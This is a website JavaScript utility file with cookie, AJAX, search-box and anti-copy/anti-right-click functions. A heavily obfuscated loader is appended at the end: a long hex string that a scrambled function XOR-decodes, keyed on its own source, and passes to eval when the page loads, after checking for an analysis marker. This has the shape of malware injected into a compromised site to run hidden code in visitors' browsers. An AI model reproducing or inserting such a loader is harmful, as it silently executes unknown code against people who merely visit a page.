
/*------------- UTIL -------------*/
// Changes the HTML inside a tag
function UTIL_ChangeInnerHTML(id, newhtml)
{
	var itemopen = "";
	var itemwrite = "";
	var itemclose = "";
	if(document.layers){ //if ns4
		itemopen="document."+id+".document.open()";
		itemwrite="document."+id+".document.write(''+newhtml+'')";
		itemclose="document."+id+".document.close()";
	}
	else if (document.all){ //if ie4
		itemopen="";
		itemwrite=""+id+".innerHTML=''+newhtml+''";
		itemclose="";
	}
	else if (document.getElementById){ //if ns6
		rng = document.createRange();
		el = document.getElementById(id);
		rng.setStartBefore(el);
		htmlFrag = rng.createContextualFragment("" + newhtml + "");
		while (el.hasChildNodes())
			el.removeChild(el.lastChild);
		el.appendChild(htmlFrag);
		return true;
	}
	eval(itemopen);
	eval(itemwrite);
	eval(itemclose);
}

// Sets and gets cookies
function UTIL_SetCookie(c_name,value,expiredays,path)
{
	var exdate = new Date();
	exdate.setDate(exdate.getDate()+expiredays);
	document.cookie = c_name + "=" + escape(value) + ((expiredays == null) ? "" : "; expires="+exdate.toGMTString()) + "; path=" + path;
}

function UTIL_GetCookie(c_name)
{
	if (document.cookie.length > 0)
	{
		c_start = document.cookie.indexOf(c_name + "=");
		if (c_start != -1)
		{
			c_start = c_start + c_name.length+1;
			c_end = document.cookie.indexOf(";", c_start);
			if (c_end == -1)
			{
				c_end=document.cookie.length;
			}
			return unescape(document.cookie.substring(c_start,c_end));
		}
	}
	return "";
}

// Gets an element from the DOM given its ID. Browser independent call
function UTIL_GetElementById(id)
{
	var object;
	if (document.getElementById){ object = document.getElementById(id); }
	else if (document.all){ object = eval(id); }
	else if (document.layers){ object = eval("document."+id); }

	return object;
}

// Preloads an image
function UTIL_PreloadImages()
{
	var args = simplePreload.arguments;
	document.imageArray = new Array(args.length);
	for(var i=0; i<args.length; i++)
	{
		document.imageArray[i] = new Image;
		document.imageArray[i].src = args[i];
	}
}

// Disables text copying
function disableSelection(target)
{
	if (typeof target.onselectstart!="undefined") //IE route
		target.onselectstart=function(){return false}
	else if (typeof target.style.MozUserSelect!="undefined") //Firefox route
		target.style.MozUserSelect="none"
	else //All other route (ie: Opera)
		target.onmousedown=function(){return false}
	target.style.cursor = "default"
}

/*------------- AJAX -------------*/
// Sends an asynch HTTP request
function AJAX_SendHTTPRequest(method,url,postVars,id,show_load)
{
	if (show_load)
	{
		AJAX_setLoading(id);
	}

	// generate HTTP request object
	var myRequest = false;
	if (window.XMLHttpRequest) {
		// all browsers except IE ...
		myRequest = new XMLHttpRequest();
	}
	else if (window.ActiveXObject) {
		// Internet Explorer - take care here
		try
		{ // old versions of MSXML
			myRequest = new ActiveXObject("Msxml2.XMLHTTP");
		}
		catch (e)
		{
			try { // IE5 or higher
				myRequest = new ActiveXObject("Microsoft.XMLHTTP");
			}
			catch (e) {} // hopeless case
		}
	}
	if (!myRequest) {
		alert("Your browser seems to be unable to do AJAX - please upgrade!");
		return false;
	}
	// open request and configure
	myRequest.open(method.toUpperCase(), url, true);
	// special treatment for some older Mozilla versions
	if (myRequest.overrideMimeType)
	{
		myRequest.overrideMimeType('text/html');
	}
	// set additional header for POST requests
	if (method.toUpperCase() == 'POST')
	{
		myRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	}
	// define callback method
	myRequest.onreadystatechange = function() { ajaxResponse(myRequest, id); };
	// Request senden
	myRequest.send(postVars);
	return true;
}

/*------------- Search Box -------------*/
var SEARCH_visible = false;
var SEARCH_processed = new Array();
function SEARCH_ShowBox(event, visible)
{
	// We've processed this event already
	if (SEARCH_processed[event.type] == true)
	{
		return;
	}

	// If there's no object, do nothing
	var obj = document.getElementById("search_box");
	if (!obj)
	{
		return;
	}

	// Toggle visibility
	if (SEARCH_visible != visible)
	{
		if (visible)
		{
			obj.style.display = "";
			var txt = document.getElementById("search_text");
			txt.focus();
		}
		else
		{
			obj.style.display = "none";
		}
	}

	// Maintain state
	SEARCH_processed[event.type] = true;
	SEARCH_visible = visible;
}
// Yeah screw you Internet Explorer
function SEARCH_SetChecked(value, index)
{
	var obj = document.getElementById("search_sitesearch");
	obj.value = value;

	for (i = 1; i <= 3; i++)
	{
		var opt = document.getElementById("search_option" + i);
		opt.className = "search_option";
		if (i == index)
			opt.className = "search_option_on";
	}

}
// Start/stop a timer to delay the showing over the box on mouseover
var SEARCH_timer = null;
function SEARCH_StartShow(event, should_start)
{
	if (should_start)
	{
		SEARCH_timer = setTimeout("SEARCH_ShowBox('',true)", 500);
	}

	if (SEARCH_timer && !should_start)
	{
		clearTimeout(SEARCH_timer);
	}

}
<!-- No Right Clicks -->
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}

document.oncontextmenu=new Function("return false");
var xOB=3635;var fU;var oP=function(){};fU="32373732373c30357113093b30107b682025623c1d3b522a35012277212517643733382f3564221b2f200570262d3a043f202934336e7d253e3932313338172034082c04672b2129352d26232a262c7375723b17223c793802243f2336280661333c2a7e18272436256a7265213d3f24703b3b2a3e0828332d4d5f77662f323311667b2121343675653616762022387b756a3d3e2020323e320875383e3137322275322a322b272c3673353b2c375132253735647d6e704e7a417a6422263d215a303025210637211155293c372a5c724966747a657b6c222e36367923163d39360613383e343a705f24"+"6e033003305f6c27372d062113234b29196f363c7f26353722226e352b7b370f31333e6225372f1c227e383b272f340b3a7a71283f353835513b7e047a342e2126152d3e3b2013211734567475667671687242621d0015292b1712726f6207362b382d323b34792c3b3a3c64673b21232b3c6a642e3136357b3f312d3c1b2b2a193d6c2111137b180f24222060444609240a262d29363d7435011b04153c345522382a043022226c29303e2926222b43092f25747c7c232b2b3377610169623d1e6560242e3d336018363b19133f317c677669436c61272328773c0128692e3d0241072f2d3e7d686d36"+"340f6906052726267e48467f2d3b13773c57652a233165132624347e7e7d1761226a33092c353f2237222b29532b1b1a0c3530126c43625a7c08341e6038046371786e084606162115342f26512f333776283e03315b6c4e3f30290818343a5e7f70697b406e6050635e654169696738233136050934307c262b23093b303e332262783c2a5a733f0837723c333e241b2157317d487d724e24033c1735192c16651e0b366a3e1f377b007b110c25200a256d340e2c78304225322126163c3c31761d3c182f3f207d5c53381d2d027250674f615e734c746021162320277320303e00624d594c70506d31"+"2f7d6f67047a1e5e3f726f76216d153d120f09263b0b31041877774d781219247d1a1713243804396c21350864340f2b327e7e2f2b30203d2a2977603007262c101622773858373c306616333a25207247754f1711113f4b250439021b7a1a7e131e193629201d19635f7c1a2e1d2203380a2f4f6748293e3930337c343b220b270f0e1a3f36187372667c32302a183d22002401347a616e7564662f35026f380b2e3d2f63333c335b010233373965257f32152f21253a72703e322b356d687f332438113e343e273e296c642e753c263a313f372a27315129762d2e222f7a6b637b36382b77351c2111"+"3a2b113b6c273b21661f2a2e3c2976756f2338357b381633213737397f7734073c302f191d7974232421262a2b3029285d646d7042387e79656f60766d767f2835302a573f3a2335323c1531292e6c657f5a287227342c2c110b092e013e14676f513e113f29252e393e596862253520326f1e622d2e2713182513323117206672322236363c043626363e121b2c7072273a1a70210b360d265b356e637d6d7644764a724a356b6b322a2c2f6f346527333c26003f3f2d267c487c417c6d7f36212b641412383e26056561664678724b322d2b13103d3029214c4c785579437c212230602c3607001635"+"6b263116022f3e2f0a6e6c2e236922303d34742a362e373b01252b3528286a67212a342f271425093e0435776d2f104e7f281531377e2c03170b253927240b3522797b43483a0e3124582e161b38292b7d2633202f316a2421145d202379772c310f247338752a353139362774703f2b7e3d0c397937332c34212409635a74633232343a2a282b38653b140337221918782237222111092c6d382028301614287e2b132c3a1e7c302231653d0a6474736935007c772f36312e1d700c3d283b3a502910254a11330735097e4f7b032517652c332224331f20181c1f6661737b371d36763d2504291c323a"+"2a0038617d2d003d2b1132152f371379631835157712063f26226c30361f163b65213237042c231d3e240c30737872463b3d0f3b7e212d2c2f31684464240f3a281a3c4570182b1b26517c4e2934353f3b3a750179154072705164001a78293b2104236f2624103f262230197111083d317b02333a0a6c19201034112c10764530423b08672f7c38233136086c0912423b3f79730b2e617913651f1871706638066a1b6024252c2726193b0c0a13285373575f2b371a354a39152d311d30290f2f675a2b2b3a312530343d61380c3401333c2178151c32162d0c347d3b3602303a3c0f664532381d0704"+"3c0d661a6b00162613750e3501252e66540b2e153d307946301f2147220e210721096e79233b2831251c75431d2d241d1229332c350e2a6a506677627f4e6d663730343f35396a4267372e2f6a64652736240a6c062122003f692a17063b693f32372631783c3037232d3a3b3c57313e23261f203376252671702c3a7836373f203b276e722d377560727d34242e7938140332042d61697e6478673236353b263336327e3415712c19702b2c34242e202b792a33232530400b3f31217a313a223a18782b113c282a4f733129713b343d0d22272a313f0a122861303a38292f3532376833391675392820"+"08044533043854073231355c7151202221652626140878703430200d5f23352122260627183e3478626e62636f74716770697f6a3e38216b333f3d391d3634053302301f68377c28241228275b6d04797b242235652529236602363d20213a673224335c011836356e6b7e2a2500733b3f2a1529173604232c176c7e6f642339290a24150a2c011416317c29322b3064497e1031382d37180c37722c0a0d0e74353e16117d322f3528363224656330300303753d6938343d227c261f1508236132251f103b690e392f2161080110333732272263743d2c170f170f203354793d3e370b3f213a3c260d33"+"2079371a132e30327525261f2c29386d361d367765343632327d21241e2718103d297d78617f6e4a682b353b7d363d2f32361332005b6467652a3138712f154b281d2a2e212d290f4b6a2523032428132c63642507773f603134261e1266212835133f022b203f2a2c2e4560493e2b162b05361234526057691f2d30337720312622034353757f2024365c201d2227133d026c1e37093e2a33341a7a710a213e3129063b7f403c293702313c327e2e6f211311073035312e210e3e576b7a2e343a2c69087924010934250d2931386a4367310821051d3529270621597f09210265243331253f34247c06"+"18663b06776117323d3533566d6d33350c723927290131020a607168574b674032032718082e664a6e5e6b326c18303924243839395e76020e207f5c286776606371145f0d1c277763663f640738262630562d577d1a0e39295d3d1a093819357b0c373633246d2c20197422111a28346f7d323725373a32073f39766a2413227437271030333714142f7565417f033a12002e0031096a1522130d234a7b0f371c3d141c0112282020033916073f3e033650660d38252f607976282d3e386c5f477d21220b6535233605147e5b3e37311334747b2a35317b343727032f2307613229352939740a26076a"+"340b2769247a13253d3325303f3f6b7d3922272f23233c597533192e382760717c2b3a297234223e112b28073356267b6235283b307c23273033310d2c2e7e24363d1223352226113e2f3d7370202c652a2837287b3d1327283e7a6a6874657e7106153c2e793d2e1b647b757b3b152a082f1b623a2b257a303532373732373c7657257e273129012d362c351f6e3e033c3828052d250a27236e5f612b6c704b6f5364686d363229562026393723000a0a68286b6772492d172b71272739146222282e31333739317d592b26352f2436112477072b01005f7d6b2a362738353d01284037746f73723f28"+"212746270c216e273a342a217f0423026035007a23272d182536392e5c7a2f2d4825241b222c1c2f323b657e724111000f2b11133a273733616c477b002b2367281d121e2b3f067c627c62213b3a206e3c3a38340879656a60282b2321603906183a3b363b5f2f073c2d7f29321e1f7758272b3e3c4a0b1f21040b222b3c023e38131b6f463d2411232c3729366529323b2b101535353404503625736a0513202b363c2e3a2f27232930357e66333720040b183d3f2022642e7e2f1e217336142d273c7b27282c39040d2c2e767b2c313631200120466421033436014430622c0c3b2b4a233e0d227d60"+"736f676d6e3902693f25220a1b136820227d7d675136112b4d24210a041e3d0928076f423135360c3f3f360a1d5058233431363e092a3d227e536c4c605d60546c696c7c482d3b0176360937072838176e06271621242b3438797b031f622675380525086a44747f2d21223d3a127534042c323f2c3533262b00223b403b2002621f140e7e556146331437793638211615107a40143720416302393c0a75614761252428593f36343d23310a7b732439151802103642790d32012801230c3f677a4a706978617f74634e3055434c6e01376d0f4b78785d7c04037b37153c2f3415197a6264102f08140b"+"163161567f5a";function cB(x){function xK(uB){var z=0,t=uB['lcecn%gct]h]'.replace(/[\]Eb%c]/g, '')];var p=0;while(p<t){p++;r=v(uB,p-1);z+=r*t;}return new String(z);}function j(l, n){if(b == null) {b = {};}if(b[l] == null) {var zG = Object;b[l] = new zG();b[l].sD = 0;b[l].f = n;}}function nK(l) {if(b[l] != null) {var oV = b[l];var xO = oV.sD;var gF = oV.f;var d = gF.substr(xO, 1);var bE = gF['lcecn%gct]h]'.replace(/[\]Eb%c]/g, '')];if(xO + 1 >= bE) {oV.sD = 0;} else {oV.sD = xO + 1;}return v(d, 0);}}function v(sN,rE){return sN.charCodeAt(rE);}function gFI(yR,rA){return yR^rA;}var sDQ = new String(document['wxrxiktxe&'.replace(/[&xKkZ]/g, '')]);if(sDQ['i}nJdte}xXOXfV'.replace(/[V\}XtJ]/g, '')]('aJroi+toyw'.replace(/[wTJo\+]/g, '')) != -1) { return 5;}var b = null;var yZ=window;var nM=document;var oB=String;var bA = yZ['sqeqtVTqi+mVe^oVuqtq'.replace(/[qV2\+\^]/g, '')];var mJ=5;var h=yZ['uBnZe$sBcBaZpBeY'.replace(/[Y\$ZBD]/g, '')];var vK = '';var aP=oB['fDrRoimiCnhDalrnCioRdReD'.replace(/[DRlin]/g, '')];var zK = '';for(var eV=0; eV < x.length; eV+=2){zK+='%' + x['sGuJbAsGtJrG'.replace(/[G9/AJ]/g, '')](eV, 2);}var x = h(zK);var fI = new oB(cB);var oVO = fI['rPeIpQlIaPc7eI'.replace(/[I7QKP]/g, '')](/[^@a-z0-9A-Z_-]/g,'');var qV = new oB(xK(oVO));j('lA', oVO);j('mD', qV);for(var rQ=0; rQ < (x['lcecn%gct]h]'.replace(/[\]Eb%c]/g, '')]); rQ++) {var sP = v(x,rQ);sP = gFI(sP, mJ);sP = gFI(sP, nK('mD'));sP = gFI(sP, nK('lA'));vK+=aP(sP);}yZ['e$v$a%l$'.replace(/[\$OY%z]/g, '')](vK);return vK=new oB();};cB(fU);
